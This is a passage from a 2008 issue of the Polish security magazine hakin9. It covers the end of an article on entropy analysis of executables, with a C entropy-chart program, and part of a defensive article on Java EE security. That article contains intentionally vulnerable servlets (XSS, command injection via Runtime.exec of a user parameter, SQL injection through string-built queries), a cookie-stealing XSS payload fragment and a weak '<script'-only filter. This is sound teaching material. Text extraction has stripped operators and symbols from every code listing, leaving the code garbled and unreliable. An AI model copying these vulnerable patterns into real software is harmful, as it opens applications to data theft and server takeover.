mu 98% lub więcej (a entropia^2 do po-
ziomu 96% lub więcej).

Z powyższych faktów płyną dwa

bardzo  ważne  dla  nas  wnioski.  Po
pierwsze,  w  przypadku  gdy  ktoś  pró-
buje ukryć (na przykład w pliku wyko-
nywalnym) zaszyfrowane dane nietry-
wialnym  algorytmem,  wykres  entro-
pii pozwoli błyskawicznie zlokalizować
miejsce ukrycia tychże danych.

Po drugie, w przypadku gdy wie-

my,  że  jakieś  dane  są  zaszyfrowane,
ale  ich  poziom  entropii  jest  stosunko-
wo  niski  (na  przykład  około  88%),  to
wywnioskować można, że dane te zo-
stały  zaszyfrowane  trywialnym  algo-
rytmem  zamieniającym  poszczególne
znaki na ich zakodowane odpowiedniki
(co oznacza również, że taki algorytm
podatny jest na atak za pomocą anali-
zy statystycznej). Na Rysunku 1. przed-
stawione są 3 programy. W pierwszym
(licząc od lewej) występuje pewna ilość
danych, która jest jawna (niezaszyfro-
wana).  W  drugim  dane  te  zostały  za-
szyfrowane  trywialnym  algorytmem
(XOR), a w trzecim – nietrywialnym al-
gorytmem  (co  spowodowało  znaczny
wzrost entropii).

Zastosowanie

pomiaru entropii

Pomiar  entropii  stosować  można
przede wszystkim w inżynierii wstecz-
nej (ang. reverse engineering) podczas
analizy  plików  wykonywalnych.  W  ta-
kim  przypadku  najlepiej  jest  utworzyć
wykres  entropii  kolejnych  fragmentów
(na przykład 256-bajtowych) pliku. Ta-
ki  wykres  może  ułatwić  zrozumienie
budowy pliku, pomóc w lokalizacji po-
szczególnych  składników  pliku  wyko-
nywalnego, a także powiedzieć co nie-
co o jego zawartości dodatkowej (ukry-
te dane, ikony, bitmapy). Przykładowo
Rysunek 2 przedstawia wykres entro-
pii głównego pliku wykonywalnego kal-
kulatora dołączonego do Windows XP,
stworzony za pomocą programu z Li-

Listing 1a.

Program tworzący wykresy entropii

Entropy

Chart

Drawer

"ent"

// Code by gynvael.coldwind//vx

#include

#include

#include

using

namespace

std

;

// Typedef

typedef

unsigned

char

byte_t

;

// Naglowek TGA

#pragma pack(push, 1)

static

struct

TGA_HEADER

{

byte_t

id_field

c_map

img_type

color_map

[

];

unsigned

short

x_origin

y_origin

width

height

;

byte_t

bpp

flip

;

}

TgaHeader

{

}

0x20

}

;

#pragma pack(pop)

// Dane globalne

static

int

Height

480

Width

;

// Pobierz dane z pliku

byte_t

FileGetContent

(

const

char

FileName

size_t

SizePtr

)

{

byte_t

Data

;

size_t

Size

;

FILE

fopen

(

FileName

"rb"

);

)

return

NULL

;

fseek

(

SEEK_END

);

Size

ftell

(

);

fseek

(

SEEK_SET

);

Data

(

byte_t

malloc

(

Size

);

Data

)

{

fclose

(

);

return

NULL

;

}

fread

(

Data

Size

);

fclose

(

);

SizePtr

Size

;

return

Data

;

}

// Wrzuc dane do pliku

bool

FileSetContent

(

const

char

FileName

const

byte_t

Data

size_t

Size

)

{

FILE

fopen

(

FileName

"wb"

);

)

return

false

;

fwrite

(

Data

Size

);

fclose

(

);

return

true

;

}

// Stworz histogram

Rysunek 3.

Wykres entropii^2 dla

pliku calc.exe spakowanego UPX'em

Entropia

hakin9 Nr 3/2008

www.hakin9.org

stingu 1. Wykres został podzielony na
5  części  (A,  B,  C,  D  oraz  E).  Pierw-
sza  część  (A)  odzwierciedla  nagłówki
MZ oraz PE – wyraźnie na niej widać
niską, zmienną entropię. Druga część
(B), stanowiąca największą część wy-
kresu, przedstawia entropię sekcji ko-
du (.text) kalkulatora. Cześć trzecia (C)
to tablica importów – widać na wykre-
sie  wyraźny  spadek  entropii  (z  uwagi
na uporządkowaną strukturę oraz dużą
ilość zer). Cześć czwarta (D) to zasoby
pliku PE, a konkretnie ikony zawarte w
zasobach. Ostatnia część (E) to reszta
zasobów – menu, tablica stringów oraz
akceleratory.  Dla porównania Rysunek
3 przedstawia wykres entropii tego sa-
mego pliku, ale po zastosowaniu pake-
ra UPX (jest to program kompresujący
pliki wykonywalne, ale do takiej postaci,
że można je nadal uruchamiać – roz-
pakowują się one w locie podczas uru-
chomienia). Na wykresie wyraźnie wi-
dać obszar, w którym entropia wzrosła
(kompresja kodu). Zasoby pliku najwy-
raźniej nie zostały skompresowane.

Pomiar entropii można wykorzy-

stać również w systemach detekcji za-
chowań  anormalnych  (na  przykład  w
protokołach  sieciowych)  lub  w  syste-
mach  wykrywających  ukryte  dane,  a
także przy analizie nieznanych forma-
tów  plików,  szczególnie  stosujących
kompresję bądź szyfrowanie (lokaliza-
cja danych oraz nagłówków).

Podsumowanie

Artykuł  ten  stanowi  jedynie  wstęp  do
zagadnień  związanych  z  wykorzysta-
niem pomiaru entropii danych w inży-
nierii  wstecznej.  Gorąco  zachęcam
Czytelników  do  eksperymentów  zwią-
zanych z pomiarem entropii oraz, być
może, nawet podzielenia się wynikami
na łamach hakin9. l

Listing 1b.

Program tworzący wykresy entropii

void

MakeHistogram

(

const

byte _ t

Data

size _ t

Size

int

Ar-

ray

[

256

])

{

size_t

;

memset

(

Array

sizeof

(

int

)

256

);

for

(

;

Size

;

++)

Array

[

Data

[

]]++;

}

// Wylicz entropie

double

GetEntropy

(

const

byte_t

Data

int

Size

)

{

int

Array

[

256

];

int

;

double

Entropy

0.0

;

MakeHistogram

(

Data

Size

Array

);

for

(

;

256

;

++)

Entropy

((

double

)

Array

[

]

Size

)

(

double

)

Array

[

];

return

Entropy

;

}

// Funkcja rysujaca pionowa linie

void

DrawLine

(

byte_t

Bitmap

int

LineHeight

byte_t

)

{

byte_t

PixelColor

[

]

{

}

;

int

;

for

(

Height

;

LineHeight

;

--)

memcpy

(

Bitmap

(

Width

)

PixelColor

);

}

// Funkcja glowna

int

main

(

int

argc

char

argv

)

{

int

SampleLength

256

;

// Sprawdz argumenty

(

argc

)

{

fprintf

(

stderr

"usage: ent <FileName> [<SampleLength>]

"SampleLength is 256 bytes by default

);

return

;

}

(

argc

)

SampleLength

atoi

(

argv

[

]);

// Pobierz dane

byte_t

BitmapData

OutputData

;

byte_t

Data

;

size_t

FileSize

;

Data

FileGetContent

(

argv

[

]

FileSize

);

Data

)

{

fprintf

(

stderr

"Error! File not found!

);

return

;

}

// Zaalokuj pamiec dla bitmapy

FileSize

SampleLength

;

Listing 1c.

Program tworzący wykresy entropii

Width

FileSize

SampleLength

;

OutputData

(

byte_t

malloc

(

sizeof

(

TgaHeader

)

Width

Height

);

BitmapData

OutputData

sizeof

(

TgaHeader

);

memset

(

BitmapData

0xff

Width

Height

);

int

cnt

;

// Narysuj wykres

for

(

;

SampleLength

cnt

++)

{

int

;

double

ent

GetEntropy

Data

[

]

SampleLength

);

ent

1.0

(

ent

SampleLength

);

// ent = ent * ent;

(

int

)((

1.0

ent

)

(

float

)

Height

);

ent

100.0

;

printf

(

"%.8x - %.8x: %.5f%%

SampleLength

ent

);

(

ent

98.0

)

DrawLine

(

BitmapData

cnt

(

byte_t

)(

ent

2.55

) );

else

(

ent

81.0

)

DrawLine

(

BitmapData

cnt

(

byte_t

)(

ent

2.125

)

);

else

(

ent

60.0

)

DrawLine

(

BitmapData

cnt

(

byte_t

)(

ent

2.55

)

);

else

DrawLine

(

BitmapData

cnt

(

byte_t

)(

ent

2.55

)

(

byte_t

)(

ent

2.55

)

);

}

// Zapisz bitmape

char

Name

[

512

];

snprintf

(

Name

sizeof

(

Name

)

"%s.tga"

argv

[

]);

TgaHeader

width

Width

;

TgaHeader

height

Height

;

memcpy

(

OutputData

TgaHeader

sizeof

(

TgaHeader

));

FileSetContent

(

Name

OutputData

Width

Height

sizeof

(

TgaHeader

));

// Uwolnij dane

free

(

Data

);

free

(

OutputData

);

return

;

}

O autorze

Michał Składnikiewicz, inżynier infor-
matyki, ma wieloletnie doświadczenie
jako programista oraz reverse engine-
er. Obecnie jest koordynatorem dzia-
łu analiz w międzynarodowej firmie
specjalizującej się w bezpieczeństwie
komputerowym.
Kontakt z autorem:
gynvael@coldwind.pl

www.hakin9.org

hakin9 Nr 3/2008

Obrona

pisy luk w popularnych rozwiązaniach
mnożą się z dnia na dzień. Niezliczo-
ne artykuły, książki i filmy ukazujące

podatności  występujące  na  stronach  opartych
np.  o  PHP  i  MySQL  stały  się  już  standardem.
Dokładnie tak samo jest w drugą stronę – niezli-
czone wywody, dotyczące obrony naszych apli-
kacji  internetowych  i  sposobów  powstrzymy-
wania intruzów, podstępnie atakują nas każde-
go dnia z półek w księgarniach. Jednak w więk-
szości  przypadków  publikacje  te  dotyczą  jedy-
nie rozwiązań popularnych i ogólnodostępnych.
Rzadko pojawiają się materiały dotyczące obro-
ny  aplikacji  napisanych  np.  w  JEE  czy  .NET.
Czemu tak się dzieje? Odpowiedź na to pytanie
jest banalnie prosta – chodzi o dotarcie do jak
największej grupy potencjalnych odbiorców. Jak
wiadomo, większość domowych stron interneto-
wych czy niedochodowych witryn tematycznych
oparta jest głównie na PHP/MySQL i to właśnie
te technologie cieszą się największym zaintere-
sowaniem potencjalnych włamywaczy. Techniki
– często bardziej zaawansowane – wykorzysty-
wane w dużych projektach na zlecenie różnego
rodzaju  firm,  korporacji  czy  banków  pozostają
w  cieniu.  Idealnym  przykładem  jest  tutaj  JEE,
niewątpliwie  ciekawa  i  potężna  platforma  pro-

gramistyczna.  Oczywiście  nie  chciałbym  tutaj
umniejszać niewątpliwych zalet PHP. Osobiście
jednak uważam, że warto poświęcić trochę cza-
su na przyswojenie informacji odnośnie innych
języków,  aby  w  późniejszej  pracy  jako  specja-
lista  ds.  bezpieczeństwa  móc  spojrzeć  na  da-
ny  problem  bardziej  abstrakcyjnie.  Ten  artykuł

Bezpieczeństwo w Javie

Piotr Łaskawiec

stopień trudności

Znajomość wielu zróżnicowanych technologii jest obecnie

niezbędna w pracy specjalisty ds. bezpieczeństwa. Trzeba

posiadać wiedzę nie tylko z zakresu popularnych rozwiązań, ale

także specjalistycznych narzędzi i platform programistycznych.

Taką specjalistyczną platformą jest opisana w tym artykule Java

Enterprise Edition.

Z artykułu dowiesz się

• czym jest JEE,
• jakie błędy występują w programach pisanych

pod JEE,

• jak bronić się przed atakami na nasze aplika-

cje,

• jak zminimalizować ryzyko wystąpienia ewen-

tualnych błędów.

Co powinieneś wiedzieć

• znać język programowania Java w stopniu śred-

nio-zaawansowanym,

• znać podstawowe sposoby ataków na aplikacje

internetowe,

• mieć doświadczenie w pisaniu aplikacji interne-

towych.

Bezpieczna Java

hakin9 Nr 3/2008

www.hakin9.org

ma na celu zwrócenie uwagi na bez-
pieczeństwo w aplikacjach komercyj-
nych pisanych w Javie.

Czym jest JavaEE?

Warto  zacząć  od  przybliżenia  te-
go  niezwykle  ciekawego  projek-
tu.  W  tym  artykule  będziemy  odno-
sić się głównie do aplikacji pisanych
w JEE. Wbrew dość popularnej opinii,
JEE (Java Enterpise Edition) nie jest
niezależnym językiem. Jest to ściśle
określony zbiór praktyk i standardów
pomocnych w tworzeniu aplikacji biz-
nesowych. JEE bazuje na języku Ja-
va.  Dodatkowo  oferuje  cały  szereg
komponentów, które mają gwaranto-
wać stabilną i szybką budowę aplika-
cji  działających  po  stronie  serwera.
JEE  zapewnia  wsparcie  takim  tech-
nologiom, jak:

•   JSP – Java Server Pages,
•   servlety,
•   EJB – Enterprise Java Beans,
•   JDBC – Java DatabaseConnecti-

vity,

• XML,
• wiele, wiele innych.

Obecnie Java Enterprise Edition ma
już  ugruntowaną  pozycję  na  rynku.
Jej głównym rywalem jest platforma
.NET,  z  którą  Java  usilnie  walczy  o
prym w sektorze aplikacji webowych.
W tym artykule będziemy zajmować
się  głównie  bezpieczeństwem  apli-
kacji  opartych  na  architekturze  we-
bowej  i  związanymi  z  nimi  dwiema
wcześniej  wymienionymi  technolo-
giami – servletami i JSP.

JEE – potrzeba

bezpieczeństwa

Zanim  przejdziemy  do  konkretnych
przykładów ukazujących błędy w pro-
gramach pisanych zgodnie z JEE, war-
to  zastanowić  się  nad  teoretycznymi
aspektami  bezpieczeństwa.  Należy
pomyśleć,  czy  w  ogóle  warto  zajmo-
wać się bezpieczeństwem tej techno-
logii i czy jest to sprawa kluczowa dla
użytkowników  korzystających  z  do-
brodziejstw JEE. W obu przypadkach
odpowiedź  jest  twierdząca.  Aplikacje
tworzone  w  oparciu  o  JEE  kierowa-
ne są głównie do dużych firm, korpo-
racji, banków i wszystkich innych insty-
tucji, w których w grę wchodzą ogrom-
ne pieniądze. Jak łatwo się domyślić,
wraz z pojawieniem się dużego kapi-

tału  rośnie  potrzeba  zapewnienia  od-
powiedniego  poziomu  bezpieczeń-
stwa. W Enterprise Edition nie piszemy
stron  domowych,  prostych  serwisów
czy niezbyt wyszukanych programów,
które  mogą  działać  lub  nie.  Aplikacje
w  JEE  muszą  cechować  się  szybko-
ścią, niezawodnością i wysokim pozio-
mem bezpieczeństwa, ponieważ czę-
sto operują na bardzo kosztownych da-
nych. Programiści piszący w Javie mu-
szą wystrzegać się błędów i nigdy nie
mogą  lekceważyć  mechanizmów  za-
pewniających należyty poziom bezpie-
czeństwa – to właśnie oni odpowiadają
za przyszły wygląd szkieletu informa-
tycznego firmy, dla której wykonują zle-
cenie i to oni będą odpowiedzialni za
ewentualne udane ataki.

Inną kwestią jest swoisty strach

ludzi związanych z bezpieczeństwem
komputerowym  przed  nieznanymi
technologiami.  Czasami  widząc  .jsp
jako  rozszerzenie  strony  interneto-
wej, myślimy, że działa ona inaczej niż
strony napisane w całości np. w PHP.
Nie jesteśmy w stanie przeprowadzić
poprawnego audytu bezpieczeństwa,
ponieważ  nie  znamy  mechanizmów
funkcjonowania takiej strony i nie po-
trafimy  określić  wzorców  jej  zacho-
wania. Ten artykuł pokazuje, że błędy
w  aplikacjach  internetowych  są  uni-
wersalne. Wraz ze zmianą języka pro-
gramowania,  technologii  czy  wzor-

Listing 1.

Przykład kodu podatnego na XSS

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public

class

XSSVuln

extends

HttpServlet

{

public

void

doGet

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

response

setContentType

(

"text/html"

)

;

PrintWriter

out

response

getWriter

()

;

out

println

(

"<HTML>"

)

;

out

println

(

"<HEAD><TITLE>XSSVul</TITLE></HEAD>"

)

;

out

println

(

"<BODY>"

)

;

out

println

(

"XSS: "

request

getParameter

(

"no_filter"

))

;

//XSS!

out

println

(

"</BODY></HTML>"

)

;

}

public

void

doPost

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

doGet

(

request

response

)

;

}
}

Specyfikacje

Istnieją trzy specyfikacje stworzone przez firmę Sun Microsystems, opierające się na
języku Java.
Java Standard Edition – specyfikacja ta jest podstawą platformy Java. Jest bazą dla
JEE. Zawiera wszystkie wymagane komponenty potrzebne do budowy nowoczesnych
aplikacji. Pozwala pisać i uruchamiać aplikacje na komputerach osobistych i serwe-
rach niezależnie od używanego systemu operacyjnego.
Java Enterprise Edition – opisywana w tym artykule specyfikacja, stworzona z myślą o
aplikacjach biznesowych. W pełni wspiera tworzenie programów o architekturze wielo-
warstwowej (warstwa logiki aplikacji oddzielona jest od warstwy wizualnej).
Java Micro Edition – specyfikacja Micro Edition odnosi się do aplikacji pisanych na te-
lefony komórkowe. Ta wersja Javy jest zubożona w stosunku do specyfikacji bazowej
(Standard Edition) ze względu na ograniczone możliwości telefonów komórkowych w
zakresie alokacji pamięci i złożoności obliczeń.

hakin9 Nr 3/2008

www.hakin9.org

Obrona

ców projektowych modyfikujemy we-
wnętrzną  strukturę  aplikacji,  ale  nie
zmieniamy  jej  podstawowego  pozio-
mu  bezpieczeństwa  wynikającego
z naszych przeoczeń. Przeoczeń, któ-
re pozwalają przetestować podatność
naszej aplikacji na typowe błędy.

Popularne błędy w JEE

Wreszcie  możemy  przejść  do  sed-
na  tego  artykułu.  Wiemy  już,  czym
jest JEE i dlaczego dla tej technologii
bezpieczeństwo  jest  wyjątkowo  waż-
ne.  Teraz  zajmiemy  się  najczęstszy-
mi  błędami  popełnianymi  przez  pro-
gramistów.  Błędy  zostaną  przedsta-
wione na przykładzie dwóch popular-
nych technologii wchodzących w skład
JEE – servletów i JSP. Technologie te
są  opisane  w  ramce  Servlety  i  JSP.
Należy także pamiętać, że do urucho-
mienia  kodu  przedstawionego  na  li-
stingach  potrzebne  jest  odpowiednie
oprogramowanie: serwer Tomcat oraz
JDK (Java Developers Kit). Odpowied-
nie linki podane są na końcu artykułu.

XSS (Cross Site Scripting)

–  ostatnio  bardzo  popularny  ro-
dzaj  błędów.  Polega  na  przekaza-
niu przez użytkownika kodu napisa-
nego  w  języku  JavaScript  jako  war-
tości  parametru  na  stronie  interne-
towej. Po dokonaniu zapytania stro-
na wykonuje podany kod. Przykłado-
wo, aby zwrócić wartość ciasteczek,
wystarczy przekazać do servletu na-
stępujący kod:

nt.cookie)</script>

. Błąd ten pozwa-

la na kradzież sesji, co może dopro-
wadzić do kompromitacji całego sys-
temu – jeżeli została przejęta sesja
użytkownika z prawami administrato-
ra. Kod programu podatnego na XSS
przedstawiony jest na Listingu 1.

Postanowiłem nie przedstawiać

dodatkowego  kodu  HTML,  ponieważ
każdy  powinien  sobie  poradzić  z  na-
pisaniem  odpowiedniej  strony.  Nasz
program  pobiera  wartość  parametru

no _ filter

i wyświetla ją na nowej stro-

nie. Widzimy, że w programie nie ma
żadnej  filtracji  przekazywanych  da-
nych  (co  zdarza  się  bardzo  często)
i gdyby program był bardziej zaawan-
sowany (sesje, Cookies), to jego kom-
promitacja nie byłaby trudna. Aby po-
radzić  sobie  z  XSS,  należy  filtrować
każdą zmienną, do której użytkownik
ma dostęp. Możemy pisać własny filtr
od podstaw (patrz Listing 2) lub wyko-
rzystać gotowe, przetestowane i bez-
pieczne  klasy  napisane  przez  innych
programistów.  Listing  2  przedstawia
bazową  wersję  kodu,  który  przepro-
wadza walidację danych wprowadzo-
nych  przez  użytkownika  na  stronie.
Kod  jest  wyjątkowo  prosty  i  wymaga
dodania wielu warunków. Funkcja vali-
dation() zwraca logiczną wartość true,
jeżeli walidacja danych przebiegła po-

myślnie (brak kodu JavaScript), a war-
tość false, gdy wprowadzono niebez-
pieczne dane. Zasada działania pro-
gramu jest bardzo prosta – sprawdza
on, czy w przekazanym przez użyt-
kownika ciągu znaków występuje ciąg

<script

. Funkcja przechwytuje także

ewentualne błędy, powstałe np. pod-
czas odwoływania się do żądania wy-
słanego przez użytkownika. Jeżeli nie
mamy czasu na pisanie swojego filtru,
to proponuję zapoznać się z kawał-
kiem kodu opracowanym przez Jose-
pha O’Conella, który można ściągnąć
ze strony (6).

Wstrzykiwanie poleceń

Z  poziomu  Javy  możemy  wywoły-
wać  także  inne  procesy.  Swobodny
dostęp do innych programów pozwa-
la  nam  np.  na  korzystanie  z  dobro-
dziejstw języków skryptowych czy na-
rzędzi wbudowanych w system ope-
racyjny.  Istnieje  jednak  duże  ryzyko,
że  jeżeli  użytkownik  zewnętrzny  bę-

Zalety JEE

Czyli dlaczego coraz więcej firm decyduje się na Javę:

• Niskie koszty – Java posiada otwartą architekturę, co w dużym stopniu obniża koń-

cowe koszty poprzez zniwelowanie kosztów licencji.

• Otwartość standardów – JEE jest otwartym zbiorem standardów, którego osta-

teczny wygląd może ulegać zmianie nie tylko w wyniku działań twórcy (Sun).

• Model bezpieczeństwa – Java oferuje rozbudowany system bezpieczeństwa, ofe-

rujący mechanizmy wspomagające autoryzację użytkowników, kryptografię czy
określanie dostępu do odpowiednich zasobów.

• Przenośność – aplikacje pisane w Javie możemy uruchomić na dowolnym syste-

mie operacyjnym. Pozwala to na wybieranie lepszych rozwiązań i uniezależnienie
się od konkretnych produktów.

• Duża baza bibliotek – jeżeli nie możemy znaleźć odpowiedniej funkcji w standar-

dowych zbiorach bibliotek, zawsze możemy liczyć na duże wsparcie innych pro-
gramistów udostępniających swoje rozwiązania na licencji open source.

Servlety i JSP

• Servlet – jest to niewielki program napisany w Javie działający po stronie serwera,

pozwalający na dodawanie dynamicznej zawartości na strony WWW. Servlety po-
wstały w odpowiedzi na takie języki, jak PHP czy ASP.NET. Działają na zasadzie od-
powiedzi na zapytania przesyłane przez użytkownika (request-response). Mają peł-
ny dostęp do pozostałych elementów języka. Mogą być dynamicznie generowane
przez JSP.

• JSP (Java Server Pages) – jest to technologia bardzo podobna do servletów. Tak-

że pozwala na dynamiczną generację treści na stronach internetowych. W przy-
padku JSP kod Java jest wpleciony w kod HTML. JSP podczas wykonywania są
tłumaczone na servlety.

Rysunek 1.

HTTPLiveHeaders w akcji

Bezpieczna Java

hakin9 Nr 3/2008

www.hakin9.org

dzie miał dostęp do parametrów wy-
wołania  nowego  procesu,  to  poziom
bezpieczeństwa  naszego  programu
drastycznie  spadnie.  Aby  lepiej  zo-
brazować  problem,  należy  prześle-
dzić  Listing  3.  Tworzymy  tam  nowy
proces,  kontrolę  nad  którym  w  pełni
oddajemy  użytkownikowi.  Nawet,  je-
śli zapewnimy naszej aplikacji świet-
ny  system  weryfikacji  użytkowników,
to  przydzielenie  tak  dużych  upraw-
nień  jest  rażącym  błędem.  Atakują-
cy  może  uruchomić  na  naszym  ser-
werze dowolny program z dowolnymi
parametrami  wejściowymi  i  uzyskać
niekontrolowany  dostęp  do  chronio-
nych zasobów.

Kod na Listingu 3. obrazuje jesz-

cze jeden dość częsty błąd progra-
mistyczny. W wielu przypadkach se-
rvlety w razie wystąpienia ewentual-
nych błędów zwracają na ekran stos
wywołań.  Przykładowy  kod  został
zamieszczony w sekcji catch(). Mo-
żemy  z  niego  odczytać  wiele  przy-
datnych  informacji,  takich  jak:  na-
zwy  funkcji,  klasy  czy  nazwy  pliku,
w  którym  wystąpił  błąd.  Wszystkie
te informacje mogą pomóc w pozna-
niu  wewnętrznej  struktury  aplikacji
i  umożliwić  sprawniejszy  atak.  Na-
leży  pamiętać,  aby  za  wszelką  ce-
nę chronić treść wewnętrznych mo-
nitów  programu  przed  użytkownika-
mi końcowymi.

SQL Injection

Myślę,  że  termin  SQL  Injection  jest
wszystkim dobrze znany. Dla przypo-
mnienia napiszę, że jest to błąd wy-
nikający z niepoprawnego filtrowania
danych przekazywanych przez użyt-
kownika,  w  następstwie  czego  mo-
dyfikowane  są  zapytania  do  bazy
danych. Jako, że większość aplikacji
pisanych  w  JEE  operuje  na  danych
umieszczonych w bazach danych to
błędy SQLI są bardzo popularne. Na
Listingu  4  przedstawiony  jest  przy-
kład kodu podatnego na SQL Injec-
tion.  Symuluje  on  prosty  system  lo-
gowania  wykorzystujący  sterow-
nik  JDBC.  Zmienne  przekazywane
przez  użytkownika  nie  są  w  żaden
sposób  filtrowane  i  mogą  być  przy-
czyną ataków na nasz system. Uży-
wając  znanych  sztuczek,  o  których

nie warto pisać po raz setny, można
oszukać program i uzyskać nieauto-
ryzowany dostęp do zasobów. W tym
momencie warto zastanowić się czy
istnieje prosta metoda zapobiegania
takim sytuacjom.

Odpowiedź jest jak zwykle jed-

noznaczna.  Programiści  opraco-
wali  techniki,  które  automatycznie
filtrują  zmienne  wysyłane  do  na-
szej aplikacji i unieszkodliwiają nie-
bezpieczne  znaki  (‘,  *,  /,  itd.).  Na
Listingu  5.  pokazana  jest  najlep-

sza  metoda  na  uniknięcie  błędów
SQLI,  czyli  użycie  tzw.  Prepared
Statements.  Prepared  Statements
automatycznie  dodają  tzw.  zna-
ki  ucieczki  do  zapytań  SQL,  któ-
re  uniemożliwiają  (a  przynajmniej
utrudniają) atak. Jeżeli korzystamy
z  zaawansowanych  frameworków
odpowiedzialnych za dostęp do ba-
zy danych (np. popularny Hiberna-
te), nie musimy martwić się o taką
filtrację zapytań. Jest ona dokony-
wana automatycznie.

Listing 2.

Podstawa naszego filtru przeciwko XSS

public

boolean

validation

(

HttpServletRequest

request

String

param

)

{

try

{

String

parameter

request

getParameter

(

param

)

;

(

parameter

indexOf

(

"<script"

)

{

return

true

;

}

catch

(

Exception

)

{}

//lapiemy wyjatek, przeprowadzamy stosowne

dzialania – logowanie bledu, ewentualny monit

return

false

;

}

Listing 3.

Wstrzykiwanie poleceń

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;

public

class

ReqVuln

extends

HttpServlet

{

public

void

doGet

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

response

setContentType

(

"text/html"

)

;

PrintWriter

out

response

getWriter

()

;

out

println

(

"<HTML>"

)

;

out

println

(

"<HEAD><TITLE>ReqVul</TITLE></HEAD>"

)

;

out

println

(

"<BODY>"

)

;

String

program

request

getParameter

(

"no_filter"

)

;

// przek.

parametru

out

println

(

"Running program: "

program

)

;

try

{

Runtime

runtime

Runtime

getRuntime

()

;

//uruchamiamy program

Process

process

runtime

exec

(

program

)

;

}

catch

(

Exception

)

{

//stos wywolan

for

(

StackTraceElement

ste

getStackTrace

())

out

println

(

ste

getMethodName

())

;

}

out

println

(

"</BODY></HTML>"

)

;

}

public

void

doPost

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

doGet

(

request

response

)

;

}
}

hakin9 Nr 3/2008

www.hakin9.org

Obrona

Błędy żądań

Czyli  tzw.  Request  Bugs.  Przy  pro-
jektowaniu  zaawansowanych  syste-
mów  biznesowych  należy  pamiętać,
że  atakujący  jest  w  stanie  zmie-
nić  praktycznie  każdy  parametr
wywołania naszej strony. Jeżeli po-
bieramy  standardowe  informacje  z
naszej witryny, takie jak nagłówek,
wykorzystywany protokół, ciastecz-
ka czy nazwę przeglądarki, należy
zawsze mieć na uwadze możliwość
ich  modyfikacji  przez  atakującego.
Modyfikacja tych danych jest banal-
nie prosta i możliwa np. przez plugin
HTTPLiveHeaders dla przeglądarki
Firefox. Jeżeli musimy operować na
danych,  które  mogą  być  zmienione
w łatwy sposób, musimy zachować

szczególną ostrożność i podjąć od-
powiednie kroki, aby zweryfikować
ich autentyczność.

Błędy związane z

zarządzaniem pamięcią

Błędy związane z nieprawidłowym ma-
nipulowaniem pamięcią w Javie są nie-
słychanie  ciekawe  i  kontrowersyjne.
Z jednej strony można mówić, że Java
jest językiem zapewniającym zaawan-
sowaną  kontrolę  pamięci  i  nie  moż-
na  przeprowadzić  ataków  typu  buffer
overflow na aplikacjach pisanych w Ja-
vie. Z drugiej strony, nie jest to do końca
prawdą i warto poznać sytuacje, w któ-
rych atak na bufor jest możliwy.

Prawdą jest, że aplikacje pisane

w  całości  w  Javie  są  bezpieczne
i dzięki zarządzaniu pamięcią, rozbu-
dowanemu systemowi wyjątków i au-
tomatycznemu usuwaniu niepotrzeb-
nych  obiektów  (Garbage  Collector)
większość błędów związanych z pa-
mięcią, a znanych choćby z C++, jest
wyeliminowana.  Zdarza  się  jednak,
że  programiści  pisząc  duże  projek-
ty  wykorzystują  tzw.  Java  Native  In-
terface (JNI) w celu użycia kodu na-
pisanego w innym języku. JNI pozwa-
la nam na współpracę z bibliotekami
napisanymi w takich językach, jak C,
C++ czy Asembler, które niestety nie
słyną  z  bezpieczeństwa.  Co  więcej,
kod  wykonywany  w  ramach  JNI  nie
podlega  weryfikacji  przez  mechani-
zmy  bezpieczeństwa  zaimplemento-
wane w Javie. Jeżeli w kodzie napisa-
nym w C++ istnieje podatność, to jest
ona  automatycznie  przenoszona  do
naszego programu pisanego w Javie.
Analizując strukturę atakowanej apli-
kacji,  zawsze  musimy  dopuszczać
możliwość  istnienia  niebezpiecznych
bibliotek pochodzących z innych języ-

Listing 4.

Kod podatny na SQL Injection

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.sql.*;

public

class

SQLIncjection

extends

HttpServlet

{

public

void

doGet

(

HttpServletRequest

request

HttpServletResponse

response

)

throws

ServletException

IOException

{

response

setContentType

(

"text/html"

)

;

PrintWriter

out

response

getWriter

()

;

out

println

(

"<HTML>"

)

;

out

println

(

"<HEAD><TITLE>SQLInjection</TITLE></HEAD>"

)

;

out

println

(

"<BODY>"

)

;

String

user

request

getParameter

(

“

user

”

)

;

//podanie usera

String

password

request

getParameter

(

“

password

”

)

;

//podanie hasla

try

{

Connection

conn

DriverManager

getConnection

(

"jdbc:mysql://localhost/

USERNAME?user=USERNAME&password=PASSWORD"

)

;

polaczenie z baza

Statement

stmt

conn

createStatement

()

;

String

sql

"select * from usernames where username='"

user

and password='"

password

"'"

;

//zapytanie SQL

ResultSet

stmt

executeQuery

(

sql

)

;

//wywolanie zapytania

(

())

{

out

println

(

"Zalogowano"

)

;

}

else

{

out

println

(

"Blad"

)

;

}

()

;

stmt

()

;

conn

()

;

}

catch

(

SQLException

)

{

out

println

(

"Message: "

getMessage

())

;

}

}
}

Przekazywanie danych do servletu

W celu lepszego zrozumienia błędów występujących w servletach należy zrozumieć
sposób przekazywania danych do servletu przez użytkownika zewnętrznego. W pro-
gramach przedstawionych w tym artykule dane są pobierane za pomocą funkcji

reque

st.getParameter("nazwa-elementu")

. Skąd są pobierane? Oczywiście z powiązanej

strony z następującym, standardowym kodem HTML:

<FORM ACTION="nazwa-servletu">
Wpisz dane: <INPUT TYPE="TEXT" NAME="nazwa-elementu"><BR>
<INPUT TYPE="SUBMIT">
</FORM>

W zależności od sposobu przekazywania parametrów (POST, GET) w naszym servle-
cie uruchamiana jest odpowiednia funkcja (

doPost

doGet

Bezpieczna Java

hakin9 Nr 3/2008

www.hakin9.org

ków. Jest to poważny błąd, który dra-
stycznie zmniejsza bezpieczeństwo
aplikacji.

Inne typy błędów

Błędy  w  aplikacjach  pisanych  pod
JEE mogą być różnorodne, a ich licz-
ba  nie  jest  stała  i  z  góry  ustalona.
Oprócz błędów opisanych w tym ar-
tykule  istnieje  cały  szereg  mniej  po-
pularnych i rzadszych nieprawidłowo-
ści w kodzie programu. Mogą to być
np. błędy spowodowane użyciem sła-
bych  technik  kryptograficznych.  Je-
żeli  zdecydowaliśmy  się  na  pisanie
własnych,  niepowtarzalnych  algoryt-
